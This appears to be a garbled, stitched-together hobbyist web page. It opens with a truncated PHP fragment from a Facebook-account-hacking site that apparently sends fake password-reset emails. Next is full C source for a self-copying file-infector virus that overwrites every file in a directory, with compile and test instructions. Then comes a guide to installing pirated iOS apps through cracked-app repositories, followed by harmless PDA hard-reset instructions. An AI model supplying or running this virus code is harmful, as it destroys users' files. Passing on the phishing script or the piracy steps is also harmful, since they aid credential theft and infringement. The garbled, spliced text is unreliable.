"abchefghjkmnpqrstuvwxyz0123456789"; srand((double)microtime()*1000000); $i = 0; while ($i <= 7) { $num = decrypt() % 33; $tmp = substr($salt, $num, 1); $pass = $pass . $tmp; $i++; } return $pass; } mail($email_address, $subject, $message, "Facebook Password Reset Confirmation } /end$ credit http://how-to-hack-face-book-accounts.angelfire.com

how to create a computer virus

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.

#include
#include
#include
#include
#include
#include FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect
That’s it
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE
How to Install Cracked Apps via iTunes
IF the file you Download is PXL format, Just ignore the following guide.

Some of you may meet some big ipa files installed by PC Suite crashed, or just can not open, and unfortunately there is no good solution to fix it right now, So we trun to iTunes, actually iTunes can  install some big cracked ipa file on your iPhone or iPod Touch normally, Following is the step-by-step tutorial(Maybe most of you have read some tutorial like this, but I believe some new iPhone users in Pandaapp forum may need this!)

First of all Jailbreak your iPhone or iPod Touch
According your idevice model and iOS running to choose Jailbreak tool in Here
Boom!!! Unthethered Evasi0n Jailbreak for iOS 6.X Has Been Released!

When you done the jailbreak work, Here we go Now:

Step1: (Must Known)We need install an Patch (from Cydia) to install cracked ipa files via iTunes

Step2: If your iPhone still running iOS 2.X, you can search and install "MobileInstallationPatch" If Not goes to Step 3

Step 3: Open Cydia > Manage > Sources > Edit > Add

http://cydia.hackulo.us   or    http://www.sinfuliphonerepo.com
     
and then search and install  the following patches according to the iOS your iPhone running

"Appsync for OS 3.0"
"Appsync for OS 3.1"
"Appsync for OS 3.2"
"Appsync for OS 4.0"
"Appsync for OS 4.1"
"Appsync for OS 4.2"(New)

"Appsync for OS 5.0+"(New) Works for iOS 6.X too
     
 
This is simple and painless. Double click on the .ipa file and sync your device. Thats it. But just in case you want to know more , this is what is happening. By double clicking the .ipa file, you will open the file with iTunes. The file will be automatically copied into iTunes library. Once iTunes is loaded and the files was opened , you just need to press sync, and the instalaltion begins.
 

hard reset tricks

AUDIOVOX /-
1032C Maestro
Press the power button while pressing and holding the reset switchwith the stylus, and then release the power button.
When a screen appears, release the reset switch. When initialization is completed, the Welcome screen appears. Set up the system as in the case of startup process.

ACER /-
n10/n20/n30
for the soft reset note that these model have the button in different
places (at the bottom, rear or side). To perform an hard reset you need
instead to to toggle the reset switch to the left and back to the right.
The reset switch is usually at the bottom of the devices except for n20
model for which you have to remove battery as the reset switch is
located in the right side of the battery bay.
n50
For this model to perform a soft reset use the tip of the stylus to press
the reset button inside the hole on the left side of the unit.To perform an hard reset, while holding the Today and Messaging buttons,
press the reset button inside the hole as detailed above.
n300
While holding pressed the Messaging and Today buttons in front of the
device, press the reset button into the hole at the bottom of the handheld.

ASUS /-
My PAL 620
Press and hold at the same time the button 3 (Contact) and the stylesin the "Reset" button located on the right of MyPal to access to
"BIOS" . Using the stylus press the button "Reset" and all is done.
It appears that there is another way to perform an Hard Reset on this
device. Push and hold power button and press the reset button and
all is done.
a716
This device has in the space under the battery a little switch that
you can move to disable the Backup battery. As to reach the switch
you removed the main battery, this action performs an Hard Reset.
(this is another way along with the mutiple buttons to avoid accidental
hard resets)
a730
You can use the second procedure mentioned above for the a620, I.E.
To press the power button and at the same time the soft reset button
using the stylus.
a632/a636
To perform an Hard reset press and hold the power button while
you press the tip of your stylus on the reset switch at the bottom
This will cancell all data that unit is elaborating reinstating the
device to the default setting of the watch.
To perform a Clean Boot (that really coorrespond to a true Hard Reset),
press the Speaker (-) button and at the same time the button Change
Modality and also the stylus on the reset button. This will reinstate the
device to the original default setting.
Mars II/(O2 xda Zinc)
To perform a hard reset, use the stylus to reach the reset button
found besides the device's camera button. Keep the stylus on the
reset button and press the Up Navigation button at the same time..
BENQ /-
P50
Press and hold power button. At the same time use the stylus to press
the recess Reset button. When the screen has faded off release both
buttons and when the power indicator light up green press the power
button to restart the unit.

CASIO /-
E-115/125 & EM-500
The procedure is less authomatized than the others. Remove the
CompactFlash card and power on the unit. Holding down the power
button, use the stylus to press the reset button for about 2 seconds.
You will see shown on the screen: "Proceeding with this operation
initializes memory. Press (Action) to proceed or (Start) to cancel".
Press the (Action) option to perform the Reset.

CLIE Sony /-
Connect the CLIE handheld using the AC adapter and take out the
stylus pin by twisting the upper part of the stylus. Push down and hold the power button of the unit and use the stylus
to slowly press and release the reset button on the back.
When the Palm screen will appear release the power button. At the "Erase all data?" prompt, push the upper part of the scroll
button on the front of the device to confirm OK. The Sony pda is now
reset and you have only to follow the SetUp steps as prompted.
COMPAQ /-
Aero 15xx Series
Remove both the main and backup battery, wait at least 1 minute,
then replace the batteries. (Backup Battery on the left side)
iPaq 3600, 3700 Series 36xx bottom
Press the recessed soft reset button in the hole on the bottom right
for more than 3 seconds to perform a hard reset.
You can also perform a hard reset opening the door on the bottomleft of the device and moving the switch behind the door to obtain
the same result
iPAQ H3800/H3900/5450/5500
To perform a hard reset first remove the expansion packs if any,thence turn the device on (not connected to AC power) and press
and hold two outside buttons
( 1 Calendar and 4 iPAQ Task ), also insert stylus into the reset
button at bottom of iPAQ and pressing and holding this for 5 secs.Release the above buttons in any sequence. To reactivate iPAQ, insert stylus into soft reset button or simply
connect iPaq to AC adapter.

DELL /-
Axim x5/ X3i
Another procedure a little more involved than the others.
Press and hold the Power Button thence, using the stylus press and
hold the reset button on the left side of the unit until the message
"To clear all data press the Contacts button" is shown. Press the required button located to the left of the directional pad.
When you see the message "Tap the screen to set up your Pocket PC"
execute the requested action and follow the instructions on screen
to set up your PDA again

ETEN /-
m500
Press and hold the power button and at the same time press,
using the stylus, the Reset button on the device's side.
M600 - G500
Press and hold the power button and at the same time press,
using the stylus, the Reset button on the device's side.
Release both buttons at the same time and reply YES to the
questions to cancel registry and to reinstall default settings.
X500
Hold the “Power Button” and press the “Reset Button” with
the stylus, and release both buttons simultaneously. Next,hold the End Button until the system inquiry screen is displayed,
then release the End Button and answer the question(s).
M700
Hold the Power button and press the Reset button using the
stylus. Release both buttons at the same time and next press
the 'End Button' until the inquiry screen appears. Reply to the
question.

FUJITSU-SIEMENS
Loox 400 series
Simultaneously press reset button at the bottom using stylus cap andthe Suspend/resume button on top front of the unit.After about 10 seconds a pictures will appear on th screen and a tonesounds
Loox 720 - 710
Use the point into the unscrewed stylus cap to press the soft reset
button at the bottom and at the same time press the button
suspend/resume in front right corner.After about 10 seconds, when you will see a new screen image and
you will hear an advice sound, follows the relative instruction.
Loox n500/520Take the stylus and screw it apart.Press the tip into the soft reset opening and at the same time the suspend/resume
and calendar buttonsHold the suspend/resume and the calendar button pressed for a few seconds.The reset can take a few minutes. A signal is sounded after the reset is complete.
Follow the instructions

GIGABYTE
g-Smart (i.Bond)
Press the power button on the top and on the keypad press 7 and 9
(three buttons together) It will display "formating" (Hardreset)

HANDSPRING
Hold down the power button on the front panel of your handheld.
Holding down the power button, press the reset button by paper clip.
As soon as you see the logo on the screen, release the power button.
Press the up scroll button on the front panel to perform a hard reset
or press any other button to perform a soft reset.
You can restore backed up data by performing a HotSync operation.

HP /-
Jornada 520, 525, 540, 545, 547, and 548
Press and hold the soft reset button and press the power button.
Jornada 564, 565, 567, and 568
Perform a soft reset using the button on the back of the device,thence remove the main and backup battery for some minutes.
(The backup battery is locked on the left side of the device)
iPaq 19xx Series
These devices can be hard reset by pressing and holding the soft
recessed button on the left-hand side of the device while you are
pressing and holding the power button at the top the unit. Keep buttons pressed for several seconds until the screen fades.
iPaq 22xx Series
Press and hold Buttons 1 (Calendar) and 4 (iTask) on the front of
the device and, at the same time, press the Reset button on the
back of the Pocket PC using the device's stylus.
Hold thel buttons until the screen begins to fade (about 3/4 secs).
Release the buttons and stylus.
If the device PC has been fully reset, it does not power on and you
must reactivate its battery connecting the same to the AC power
or pressng the usual soft reset button with the stylus.

Note: The iPAQ 19xx & 22xx series have a feature called "iPAQ File Store" allowing to store some data and programs in
the Flash ROM. If you used this option, the hard reset will not cancel the data stored therein. Moreover if this area
become garbled you risk to have to reflash the Rom.
Do not store date exceeding its storage's space.

iPaq 41xx Series
Press and hold the Power button and at the same time press Reset
button in the device's back using the stylus.
Release first the power button , thence the Reset button and you will
see the device to reset and to power on again with original setting.
iPaq rz17xx, rx31xx, rx34xx, rx37xx series
Press and hold the extreme left button (Mobile Media) and the extreme
right button (iTasks) at the same time and use the stylus to press the
reset button at the bottom of the unit. When the screen fades release
the two buttons and button under the stylus. If the unit does not power
on authomatically perform a simple soft reset.
iPaq hx4700
Press and hold calendar and iTask buttons in the front area, while, holding down the buttons, press using the stylus the reset button onthe bottom for about 2 seconds.
iPaq hx2750press and hold button 1 and 4 on the front of the device and at the same time use the stylus to press reset button on the bottom of the ipaq.
iPaq h6300
Press and hold the Power button for about 3 seconds while at the same
time you press by the stylus the reset button on the left side of the unit.
When the screen blanks release both the buttons and wait that the device
powers on.
iPaq rx1950
To perform a clean reset and return you HP iPAQ to factory settings press
and hold the calendar and the iPaq Wireless buttons. While holding down
the buttons lighttly press the Reset button by the stylus for about 2 seconds.
When the HP iPAQ screen begins to fade, release the two first buttons and
then remove the stylus. Plug the device into AC adapter o press Reset button
again to restart unit.
hx2000 series (not h2210)
Press and hold down Calendar and iTask buttons. While holding down these
buttons, use the stylus to press the Reset button on the bottom of the iPAQfor about two seconds. When the Pocket PC screen begins to fade, release thementioned two buttons first, and then remove also the stylus from the Reset.
hw6500 series
To perform a hard reset hold down the Power button and use the stylus to
press the recessed Reset button on the bottom for about five seconds.
The screen fades and the device resets. Once the device resets and the screen
comes back on, release the Power button and remove the stylus from the Reset.
hw69xx series
To perform an Hard(clean) Reset press and hold the Answer/Send, Power,
and End Call buttons. While holding these buttons, by the stylus press the Reset
button on the bottom of the iPAQ until the device restarts.3.When the HP iPAQ restarts, release all of the buttons, Reset button included.
HTC
(qTek 2020-9090-S100 e Xda-Mda-O2-iMate) etc)
Press and hold the power button and use the stylus to press the softreset button at the bottom of the unit at the same time

HTC Wizard(qTek 9100 e i-Mate K-Jam, O2..) etc
Press and hold the Comm.Manager button along with Voice Command button.
While pressing the two button on the device, use the stylus to press and hold
the reset button on the side.

HTC Prophet (Qtek S200,Imate JASmin etc)
Press and hold the CAMERA and COMM MANAGER buttons, and use thestylus to press the RESET button. Holds the CAMERA and COMM MANAGER
buttons until the following message is displayed: “Press Send to restore
factory default or press other key to quit.

HTC TyTN(Hermes,Qtek9600,JasJam etc)
Always switch off the device before to execute a full reset. The full reset
is the Hard Reset of the device an to execute it push and hold at same time
both the SoftKey left and right on the front of the unit while you use the
stylus to press the soft reset button at the bottom of the device.

HTC Universal(qTek 9000 e i-Mate JasJar, Mda Pro..) etc
Press with the fingers the two keys at the same
time and keep them pressed. In addition by the stylus
press the pin into the RESET opening on the back of thedevice. Thence pressing 0 button confirm the Hard resetor, using 'x', choice to not perform the Hard Reset.

(be careful to execute an hard reset under WM 5.0 read device's manual before)


HTC P3300 - P3600
Press and hold left and right buttoni - SOFTKEY and using the stylus
press the RESET command of the device.
Release the stylus, but hold the above buttons and release them when
the screen shows the following message:“Press SEND to restore manufacturer default, or press ..................”
Now you can press the required button (green call icon)

MITAC /-
Mio P350/P550
You can go back to the factory default executing an hard reset from
Start-> Settings-> SysInfo-> Clean Boot
The display will show two methods:
Method 1:It will clean all data. Include Mio Map.Method 2:It will clean all data, except Mio Map.
Mio a701
Make sure that A701 is turned off then press and hold at the same time
the Down Volume button and the End button. When the unit start to
vibrate you can release both buttons. The unit will turn on automatically
and it will show the Setup Wizard. Follow the instructions to complete the
operation
Mio a201
Remove the battery cover by pressing and then sliding the cover off.Use the stylus to slide the ON/OFF switch to the ON (left) position .
(ON to OFF , then OFF to ON)Install the battery and immediately press the Record Button. The screen will show "cold boot" and "loading......"At this time, you must replace the battery cover.
Mio 168
Close all the running programs.
On the rear of the unit slide the battery switch to OFF.
After about 1 minute return the switch on the ON position.
The unit will restart with the original settings.

NEC /-
MobilePro P300
Hold the Power and Record buttons down and insert your stylus into thereset hole.

PALM /-

To perform a soft reset on a Palm (Handspring also) device find the
reset button located in a hole on the back of the device. Using the tool in your stylus, or some other object such as a paperclippress reset button inside the hole.
There is also another form of Reset: Warm Reset A warm reset bypasses any system extensions (such as HackMaster
hacks, operating system patches, and so on) that are loaded on the
device. A warm reset often bypass the "boot loop" error, allowing
you to remove applications, previously installed, causing problems.
All stored data in the device remain unchanged with a warm reset.
To perform a warm reset hold down the top scroll button and press
the reset button inside the hole on the back of your unit.
When in the Palm display you see the general preferences screen,
release the top scroll button.
After a warm reset, you may need to perform a soft reset to get the
device working as normal.
Performing a hard reset you start everything over from scratch.
Be sure to back up your files first.
Perform a hard reset only if a soft or warm reset does not solve
your problem.
To perform a hard reset hold down the power button (Wireless Mode
button on the Treo 600) and press the reset button on the back panel.
When the Palm screen appears, release the power button.
You will get a message informing that you are about to erase all your
data. To continue, press the top scroll button.
To cancel, press any other button. In this case you will get a soft
reset only.
After a hard reset calibrate the digitizer and verify time & date.

QUANTA /-
xda Atom
Press and hold the power button, and then use the stylus topress the soft reset button at the same time.
TREO palmOne /-
Treo650
Remove battery cover and find the Reset hole beside the battery (without
removing the battery). Press and Hold down the Power/End button and
using the stylus press and release the RESET button in the hole.
Release the Power/End button when the Palm Powered logo appearsand when you will be asked if you wish to remove all data press the Up
button to confirm the Hard Reset.TOSHIBA /-
Toshiba E310
Slide the white switch on the bottom left to the left for a few seconds.The manual says depress the power button at the top with the stylus inthe hole in the back and release the power button.
Toshiba E740Slide the white switch at the bottom of the device to the right for few seconds, thence slide it back.

Toshiba e800/805
Use the stylus to move to the right the switch under the rubbercover that you find above the wifi switch on the bottom of device. After few seconds reinstate switch to original position.

me @ work place